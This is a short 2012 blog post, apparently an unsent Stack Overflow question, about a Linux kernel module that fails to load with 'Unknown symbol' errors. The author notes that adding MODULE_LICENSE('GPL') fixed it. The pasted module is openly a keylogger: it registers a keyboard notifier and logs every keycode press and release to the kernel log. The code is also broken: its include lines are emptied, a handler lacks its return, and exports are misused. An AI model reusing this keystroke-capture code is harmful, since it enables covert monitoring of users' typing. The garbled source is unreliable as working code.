Monday, November 19, 2012

Unknown symbol


(This is a question I almost submitted to Stackoverflow.  The answer to my question is that I needed to add "MODULE_LICENSE("GPL"); to the top of my code for it to be able to link to GPL code.  Crazy huh?)


The following code (pasted last), taken mostly from here, is a very simple kernel module which acts as a keylogger. I can get it to compile and produce a .ko just fine, but when I try to load it, I get the following errors in dmesg:
[  790.833828] keylogger: Unknown symbol unregister_keyboard_notifier (err 0)
[  790.833846] keylogger: Unknown symbol register_keyboard_notifier (err 0)
I did not build my kernel from source, but am using the stock kernel provided with archlinux. I did install the kernel-headers package to get the module to compile, however.
So my question is: Are these two symbols really not found in my installed kernel? And if they are, why aren't they linking(?) correctly?
I can find evidence that the symbols are present. Firstly, I can see the symbols in /proc/kallsyms. Also, when I do nm /usr/src/vmlinux I can also see these two symbols. Are they not the same?
Module code:
#include    /* Needed by all modules */
#include 

EXPORT_SYMBOL_NOVERS(unregister_keyboard_notifier);
EXPORT_SYMBOL_NOVERS(register_keyboard_notifier);

int hello_notify(struct notifier_block *nblock, unsigned long code, void *_param) {
    struct keyboard_notifier_param *param = _param;
    struct vc_data *vc = param->vc;

    int ret = NOTIFY_OK;

    if (code == KBD_KEYCODE) {
        printk(KERN_DEBUG "KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up"));
    }
}

static struct notifier_block nb = {
    .notifier_call = hello_notify
};

static int hello_init(void)
{
    register_keyboard_notifier(&nb);
    return 0;
}

static void hello_release(void)
{
    unregister_keyboard_notifier(&nb);
}

module_init(hello_init);
module_exit(hello_release);

Pyjamas